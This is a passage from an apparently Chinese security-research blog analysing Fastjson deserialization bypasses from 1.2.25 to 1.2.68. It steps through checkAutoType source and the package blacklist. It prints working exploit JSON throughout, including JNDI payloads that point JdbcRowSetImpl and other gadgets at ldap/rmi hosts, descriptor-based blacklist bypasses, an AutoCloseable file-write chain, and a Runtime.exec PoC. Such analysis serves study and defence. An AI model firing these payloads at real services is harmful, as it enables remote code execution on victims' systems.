Person person1 = JSON.parseObject(jsonWithoutClassName, Person.class);
System.out.println("不带类名反序列化(指定类型): " + person1);

// 带类名的反序列化 - 可以直接解析为Object
Object person2 = JSON.parseObject(jsonWithClassName);
System.out.println("带类名反序列化(Object): " + person2);
System.out.println("实际类型: " + person2.getClass().getName());

// 4. 继承关系演示
System.out.println("\n--- 继承关系演示 WriteClassName 的重要性 ---");
demonstrateInheritanceWithClassName();
}

/**
* 演示在继承关系中 WriteClassName 的重要性
*/
public static void demonstrateInheritanceWithClassName() {
// 创建一个继承Person的类
class Student extends Person {
private String school;

public String getSchool() { return school; }
public void setSchool(String school) { this.school = school; }

@Override
public String toString() {
return "Student{school='" + school + "', " + super.toString() + "}";
}
}

Student student = new Student();
student.setAge(20);
student.setEmail("student@school.com");
student.setSchool("清华大学");

System.out.println("原始Student对象: " + student);

// 不带类名序列化
String jsonWithoutClass = JSON.toJSONString(student);
System.out.println("不带类名序列化: " + jsonWithoutClass);

// 带类名序列化
String jsonWithClass = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println("带类名序列化: " + jsonWithClass);

// 反序列化对比
Person person1 = JSON.parseObject(jsonWithoutClass, Person.class);
System.out.println("不带类名反序列化为Person: " + person1);
System.out.println("类型: " + person1.getClass().getSimpleName());

// 注意: 带类名的反序列化在这个例子中可能会因为内部类问题而失败
// 这是WriteClassName的一个限制,它更适合用于顶级类
System.out.println("注意: 内部类使用WriteClassName可能会有问题,建议使用顶级类测试");
}
}

输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
=== 不启用 SupportNonPublicField ===
Person{name='null', age=25, email='zhangsan@example.com'}

=== 启用 SupportNonPublicField ===
Person{name='张三', age=25, email='zhangsan@example.com'}

================
=== parse() vs parseObject() 区别演示 ===
原始JSON字符串: {"name":"李四","age":30}
原始JSON数组: [{"name":"王五","age":35}, {"name":"赵六","age":40}]

--- 使用 parse() ---
parse(jsonStr) 返回类型: JSONObject
parse(jsonStr) 结果: {"name":"李四","age":30}
parse(arrayJsonStr) 返回类型: JSONArray
parse(arrayJsonStr) 结果: [{"name":"王五","age":35},{"name":"赵六","age":40}]

--- 使用 parseObject() ---
parseObject(jsonStr) 返回类型: JSONObject
parseObject(jsonStr) 结果: {"name":"李四","age":30}
parseObject(jsonStr, Person.class) 返回类型: Person
parseObject(jsonStr, Person.class) 结果: Person{name='null', age=30, email='null'}

--- 类型转换验证 ---
parse()结果可以转换为JSONObject: 李四
parse()数组结果长度: 2

================
=== WriteClassName 用法和效果演示 ===
原始对象: Person{name='null', age=28, email='test@example.com'}

--- 不使用 WriteClassName ---
序列化结果: {"age":28,"email":"test@example.com"}

--- 使用 WriteClassName ---
序列化结果: {"@type":"org.hantest.fastjsontest1.Person","age":28,"email":"test@example.com"}

--- 反序列化对比 ---
不带类名反序列化(指定类型): Person{name='null', age=28, email='test@example.com'}
带类名反序列化(Object): {"age":28,"email":"test@example.com"}
实际类型: com.alibaba.fastjson.JSONObject

--- 继承关系演示 WriteClassName 的重要性 ---
原始Student对象: Student{school='清华大学', Person{name='null', age=20, email='student@school.com'}}
不带类名序列化: {"age":20,"email":"student@school.com","school":"清华大学"}
带类名序列化: {"@type":"org.hantest.fastjsontest1.NonPublicFieldTest$1Student","age":20,"email":"student@school.com","school":"清华大学"}
不带类名反序列化为Person: Person{name='null', age=20, email='student@school.com'}
类型: Person
注意: 内部类使用WriteClassName可能会有问题,建议使用顶级类测试

Process finished with exit code 0

1.2.24-1.2.47的一些变化总结:

合在一起讲是因为有通杀<=1.2.47的版本(一小部分不适用后面说)

所以了解一下大概的变化和新的特性即可

Fastjson 在 1.2.25 之后引入了 checkAutoType 方法,

并且默认情况下 autoTypeSupport 关闭

checkAutoType对传入的类名做以下判断:

  • 是否在 白名单
  • 是否在 黑名单
  • 是否是系统类或自定义类
  • 是否打开了 autoTypeSupport

我们可以查看 com.alibaba.fastjson.parser.ParseConfig的源码可以看到加入了黑名单字眼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload,org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss,org.mozilla.javascript
org.python.core
org.springframework

添加反序列化白名单有3种方法:

  1. 使用代码进行添加:ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”)
  2. 加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.su18.fastjson.
  3. 在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.su18.fastjson.

在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。

checkAutoType的逻辑很重要:

如果开启了 autoType,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。如果既不在白名单也不在黑名单后续的加载里也会加载这个类

如果没开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass 加载。

img

img

在fastjson的checkAutoType方法中,如果一个类既不在白名单也不在黑名单,其实会继续尝试加载这个类,而不是直接拒绝。

具体的checkAutoType逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (autoTypeSupport) {
// 1. 检查白名单 - 如果在白名单,直接加载
if (acceptHashCodes != null && acceptHashCodes.contains(hash)) {
return TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

// 2. 检查黑名单 - 如果在黑名单,抛异常
if (denyHashCodes != null && denyHashCodes.contains(hash)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

// 3. 关键:既不在白名单也不在黑名单的情况
// 会继续执行后续逻辑,尝试加载类

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}

// 4. 最后会尝试通过TypeUtils.loadClass加载
if (!autoTypeSupport) {
// 如果没开启autoTypeSupport,这里会抛异常
throw new JSONException("autoType is not support. " + typeName);
}

// 5. 开启了autoTypeSupport的情况下,会尝试加载
return TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

autoTypeSupport = true 的情况下,既不在白名单也不在黑名单的类,会继续执行后续的类加载逻辑,最终会调用 TypeUtils.loadClass 尝试加载这个类。

1.2.47的链子分析:

这段分析出自https://www.javasec.org/java-vuls/FastJson.html

讲的很好就不赘述了(偷懒实则)

在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport 影响版本:1.2.33 <= fastjson <= 1.2.47

这次的绕过问题还是出现在 checkAutoType() 方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// 类名非空判断
if (typeName == null) {
return null;
}
// 类名长度判断,不大于128不小于3
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}

String className = typeName.replace('$', '.');
Class<?> clazz = null;

final long BASIC = 0xcbf29ce484222325L; //;
final long PRIME = 0x100000001b3L; //L

final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
// 类名以 [ 开头抛出异常
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
// 类名以 L 开头以 ; 结尾抛出异常
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
// autoTypeSupport 为 true 时,先对比 acceptHashCodes 加载白名单项
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
// 在对比 denyHashCodes 进行黑名单匹配
// 如果黑名单有匹配并且 TypeUtils.mappings 里没有缓存这个类
// 则抛出异常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

// 尝试在 TypeUtils.mappings 中查找缓存的 class
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

// 尝试在 deserializers 中查找这个类
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

// 如果找到了对应的 class,则会进行 return
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

// 如果没有开启 AutoTypeSupport ,则先匹配黑名单,在匹配白名单,与之前逻辑一致
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;

if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}
// 如果 class 还为空,则使用 TypeUtils.loadClass 尝试加载这个类
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}

final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

由以上代码可知,这里存在一个逻辑问题:autoTypeSupport 为 true 时,fastjson 也会禁止一些黑名单的类反序列化,但是有一个判断条件:当反序列化的类在黑名单中,且 TypeUtils.mappings 中没有该类的缓存时,才会抛出异常。这里就留下了一个伏笔。就是这个逻辑导致了 1.2.32 之前的版本将会受到 autoTypeSupport 的影响。

在 autoTypeSupport 为默认的 false 时,程序直接检查黑名单并抛出异常,在这部分我们无法绕过,所以我们的关注点就在判断之前,程序有在 TypeUtils.mappings 中和 deserializers 中尝试查找要反序列化的类,如果找到了,则就会 return,这就避开下面 autoTypeSupport 默认为 false 时的检查。如何才能在这两步中将我们的恶意类加载进去呢?

先看 deserializers ,位于 com.alibaba.fastjson.parser.ParserConfig.deserializers ,是一个 IdentityHashMap,能向其中赋值的函数有:

  • getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
  • initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
  • putDeserializer():被前两个函数调用,我们无法控制入参。

因此我们无法向 deserializers 中写入值,也就在其中读出我们想要的恶意类。所以我们的目光转向了 TypeUtils.getClassFromMapping(typeName)

同样的,这个方法从 TypeUtils.mappings 中取值,这是一个 ConcurrentHashMap 对象,能向其中赋值的函数有:

  • addBaseClassMappings():无入参,加载
  • loadClass():关键函数

接下来看一下 loadClass() 的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
// 非空判断
if(className == null || className.length() == 0){
return null;
}
// 防止重复添加
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
// 判断 className 是否以 [ 开头
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
// 判断 className 是否 L 开头 ; 结尾
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
// 如果 classLoader 非空,cache 为 true 则使用该类加载器加载并存入 mappings 中
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
// 如果失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类,也需要 cache 为 true 才能写入 mappings 中
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
// 如果还是失败,则使用 Class.forName 来获取 class 对象并放入 mappings 中
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}

由以上代码可知,只要我们能够控制这个方法的参数,就可以往 mappings 中写入任意类名。 loadClass 一共有三个重载方法,如下图:

img

我们需要找到调用这些方法的类,并看是否能够为我们控制:

  • Class<?> loadClass(String className, ClassLoader classLoader, boolean cache):调用链均在 checkAutoType()TypeUtils 里自调用,略过。
  • Class<?> loadClass(String className):除了自调用,有一个 castToJavaBean() 方法,暂未研究。
  • Class<?> loadClass(String className, ClassLoader classLoader):方法调用三个参数的重载方法,并添加参数 true ,也就是会加入参数缓存中,

重点看一下两个参数的 loadClass 方法在哪调用:

img

在这里我们关注 com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法,这个类是用来处理一些乱七八糟类的反序列化类,其中就包括 Class.class 类,成为了我们的入口。

img

如果 parser.resolveStatusTypeNameRedirect 时,进入 if 语句,会解析 “val” 中的内容放入 objVal 中,然后传入 strVal 中。

img

后面的逻辑如果 class 是 Class.class 时,将会调用 loadClass 方法,将 strVal 进行类加载并缓存:

img

这就完成了恶意类的加载,组成了我们所有的恶意调用链。但是如何在第二步进入 if 语句呢?这中间的调用链是什么样的呢?我们先构造一个 json :{"@type":"java.lang.Class","val":"aaaaa"} ,调试一下:

JSON.parseObject() 调用 DefaultJSONParser 对 JSON 进行解析。

img

DefaultJSONParser.parseObject() 调用 checkAutoType() 检查待加载类的合法性。

img

由于 deserializers 在初始化时将 Class.class 进行了加载,因此使用 findClass 可以找到,越过了后面 AutoTypeSupport 的检查。

img

DefaultJSONParser.parseObject() 设置 resolveStatus 为 TypeNameRedirect。

img

DefaultJSONParser.parseObject() 根据不同的 class 类型分配 deserialzer,Class 类型由 MiscCodec.deserialze() 处理。

img

解析 json 中 “val” 中的内容,并放入 objVal 中,如果不是 “val” 将会报错。

img

传递至 strVal 并使用 loadClass 加载并缓存。

img

此时恶意的 val 成功被我们加载到 mappings 中,再次以恶意类进行 @type 请求时即可绕过黑名单进行的阻拦,因此最终 payload 为:

1
2
3
4
5
6
7
8
9
10
11
{
"su18": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"su19": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}
}
补充:

注意上面的影响范围

影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport 影响版本:1.2.33 <= fastjson <= 1.2.47

那么为什么在1.2.25 <= fastjson <= 1.2.32 开启 AutoTypeSupport的情况下就不行了?

image-20250531150422538

1.2.47下的其他版本的历史漏洞总结

2. fastjson-1.2.25

在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

影响版本:1.2.25 <= fastjson <= 1.2.41 描述:作者通过为危险功能添加开关,并提供黑白名单两种方式进行安全防护,其实已经是相当完整的防护思路,而且作者已经意识到黑名单类将会无穷无尽,仅仅通过维护列表来防止反序列化漏洞并非最好的办法。而且靠用户自己来关注安全信息去维护也不现实。

安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig,首先查看类上出现了几个成员变量:布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭;字符串数组 denyList ,是反序列化类的黑名单;acceptList 是反序列化白名单。

img

其中黑名单 denyList 包括:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

添加反序列化白名单有3种方法:

  1. 使用代码进行添加:ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”)
  2. 加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.su18.fastjson.
  3. 在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.su18.fastjson.

看一下 checkAutoType() 的逻辑,如果开启了 autoType,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。

img

如果没开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass 加载。

img

接着跟一下 loadClass ,这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [L; 字符。

img

因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。因此,漏洞利用的思路就出来了:需要开启 autoType,使用以上字符来进行黑名单的绕过。

最终的 payload 其实就是在之前的 payload 类名上前后加上L;即可:

1
2
3
4
5
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
3. fastjson-1.2.42

在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。

影响版本:1.2.25 <= fastjson <= 1.2.42 描述:一点也不坦诚,学学人家 jackson,到现在还是明文黑名单。而且到目前为止很多类已经被撞出来了。

还是关注 com.alibaba.fastjson.parser.ParserConfig 这个类,作者将原本的明文黑名单转为使用了 Hash 黑名单,防止安全人员对其研究。 img

并且在 checkAutoType 中加入判断,如果类的第一个字符是 L 结尾是 ;,则使用 substring进行了去除。写判断也不好好写,非要写 hash 。 img

但是这种判断完全是徒劳的,因为在最后处理时是递归处理,因此只要对描述符进行双写即可绕过:

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
4. fastjson-1.2.43

这个版本主要是修复上一个版本中双写绕过的问题。

影响版本:1.2.25 <= fastjson <= 1.2.43 描述:上有政策,下有对策。在 L; 被进行了限制后,安全研究人员将目光转向了 [

可以看到用来检查的 checkAutoType 代码添加了判断,如果类名连续出现了两个 L 将会抛出异常,

img

这样使用 L; 绕过黑名单的思路就被阻挡了,但是在 loadClass 的过程中,还针对 [ 也进行了处理和递归,能不能利用 [ 进行黑名单的绕过呢?

答案当然是可以的:

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
5. fastjson-1.2.44

这个版本主要是修复上一个版本中使用 [ 绕过黑名单防护的问题。

影响版本:1.2.25 <= fastjson <= 1.2.44 描述:在此版本将 [ 也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。

可以看到在 checkAutoType 中添加了新的判断,如果类名以 [ 开始则直接抛出异常。

img

6. fastjson-1.2.45

在此版本爆出了一个黑名单绕过,实际上,黑名单是无穷无尽的,随着 fastjson 的版本更新,一定会有更多的黑名单爆出来,因为隔壁 jackson 都是明文黑名单的,只要隔壁一更新,大家都看到了,就会拿来看 fastjson。

影响版本:1.2.25 <= fastjson <= 1.2.45 描述:黑名单列表需要不断补充。

1
2
3
4
5
6
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
7.fastjson<=1.2.62

基于黑名单绕过exp:

1
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";
8.fastjson<=1.2.66

也是基于黑名单绕过,autoTypeSupport属性为true才能使用,(fastjson>=1.2.25默认为false)以下是几个exp:

1
2
3
4
5
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransacti
on":"ldap://192.168.80.1:1389/Calc"}}
9.fastjson<=1.2.68

只找到分析的文章但是没找到这个版本的payload好像

https://forum.butian.net/share/2858

https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ

https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA

在这个版本当中官方修复了这个缓存的地方,

image

但是他更新了一个 safeMode 如果开启了safeMode,那么autoType就会被完全禁止。不过在这个版本里默认是为false,后面的版本默认为true会直接抛出异常。 接着在下面的if中判断是否在期望类的黑名单中,而AutoCloseable不在黑名单中,所以给expectClassFlag赋值为true。

来看一下这个checkAutoType函数

image

也是成功找到payloadhttps://blog.csdn.net/include_voidmain/article/details/124983839

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}

还有更多的payload在下面这里只是随便拿出一个

详细的分析如下:

文章:Fastjson反序列化高危漏洞系列-part2:1.2.68反序列化漏洞及利用链分析 (上)_fastjson-1.2.68 jdbc反序列化poc-CSDN博客

本文具体分析 1.2.68版本的反序列化漏洞,因为该漏洞再次实现了在autoType关闭的情况下绕过了ParserConfig#checkAutoType()的安全检测。但具体的漏洞利用的危害程度要取决于目标服务的环境(这一点后面会说到),换言之,漏洞利用并不能做到非常通用,因此漏洞的严重性要稍逊于<= 1.2.47 版本的那个漏洞。

该漏洞的细节最初是 @浅蓝 发出来的,该讲的细节都提到了(参考[2][13])。

其实这个漏洞依旧是和ParserConfig#checkAutoType()校验方法做对抗。通过public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features)的代码可知,如果同时符合以下条件,则可以在autoType关闭的情况下,绕过ParserConfig#checkAutoType()的安全校验,从而反序列化指定类

  • (1) expectClass不为null,且不等于Object.classSerializable.classCloneable.classCloseable.classEventListener.classIterable.classCollection.class;
  • (2) expectClass需要在缓存集合TypeUtils#mappings中;
  • (3) expectClasstypeName都不在黑名单中;
  • (4) typeName不是ClassLoaderDataSourceRowSet的子类;
  • (5) typeNameexpectClass的子类。

注:说到expectClass(期望类),其实使用过fastjson进行JSON反序列化API的一定不陌生,比如:

1
2
3
//第二个参数就是expectClass(期望要反序列化成的类型)
Student stu2 = JSON.parseObject(testStr, Student.class);
AI写代码java运行12

另外,在1.2.68版本开始,新增了safeMode加固模式(参考[10])。配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击。但该模式默认是不开启的。所以不会影响该漏洞的执行流。
该模式的校验判断也是在ParserConfig#checkAutoType()方法中。


什么形式的JSON字符串是指定了expectClass的呢?

前面调试fastjson漏洞的时候发现调用ParserConfig#checkAutoType() 进行安全校验时,参数expectClass的位置传入的都是null

使用IDEA查找下ParserConfig#checkAutoType()方法的引用位置,可以看到以下两个地方的调用,是有传入expectClass的:
在这里插入图片描述

  • JavaBeanDeserializer#deserialze();
  • ThrowableDeserializer#deserialze();

JavaBeanDeserializerThrowableDeserializer是fastjson中两个反序列化器,前者是默认反序列化器,后者是针对异常类对象的反序列化器。

这两个地方就是这个漏洞的两个利用点。下面分别来讲述。

2.1 Throwable
2.1.1 原理

先来看ThrowableDeserializer#deserialze()

在fastjson中,在对某个类型反序列化前,先要进行一次ParserConfig#checkAutoType()检查,然后才是获取相应类型的反序列化器进行反序列化。

换言之,到达ThrowableDeserializer#deserialze() 前,就对一个通过@type指定的异常类进行了ParserConfig#checkAutoType()校验。进入到ThrowableDeserializer#deserialze()后,词法分析器会继续遍历JSON字符串剩余的部分,如果紧接着的键还是一个@type的话,就会将它的值,且Throwable.class作为期望类expectClass,一同传入ParserConfig#checkAutoType()进行校验。
在这里插入图片描述
如果通过校验,则调用ThrowableDeserializer#createException()方法进行异常类的实例化。
在这里插入图片描述
实例化后得到异常类对象,然后会调用它的setter方法。

2.1.2 PoC

接下来就是写一个有问题的异常类,去验证Throwable这个利用点。异常类CalcException代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package me.mole.exception;

import java.io.IOException;

public class CalcException extends Exception {

private String command;

public void setCommand(String command) {
this.command = command;
}

@Override
public String getMessage() {
try {
Runtime.getRuntime().exec(this.command);
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}

然后就是构造JSON字符串。
要注意的是,由于java.lang.Throwable这个类不在缓存集合TypeUtils#mappings中,所以未开启autoType的情况下,这个类是不能通过ParserConfig#checkAutoType()的校验的。这里在JSON字符串中使用它的一个子类java.lang.Exception,因为java.lang.Exception是在缓存集合TypeUtils#mappigns中的。
在这里插入图片描述
另外还有一个问题,就是我们的CalcException类的危险操作是在getter方法中的,而前面提到,反序列化异常类过程中,只会执行到setter方法,并没有执行getter方法。
这里可以利用fastjson的JSONPath特性$ref去引用指定对象的某个xxx属性,从而访问该对象的getXXX()方法(参考[8][9])。

因此构造JSON字符串如下:

1
2
3
4
5
6
{"x":
{"@type":"java.lang.Exception",
"@type":"me.mole.exception.CalcException",
"command":"open -a Calculator"},
"y":{"$ref":"$x.message"}
}

在这里插入图片描述
运行PoC后成功弹出计算器。


上述PoC只是为了验证Throwable这个利用点。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。

不过@浅蓝倒是给出了一个非 RCE 的 gadget,它需要目标环境依赖selenium库。

2.1.3 依赖selenium的信息泄露gadget

这个gadget需要目标环境引入selenium依赖。

1
2
3
4
5
<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-api</artifactId>
<version>4.1.1</version>
</dependency>

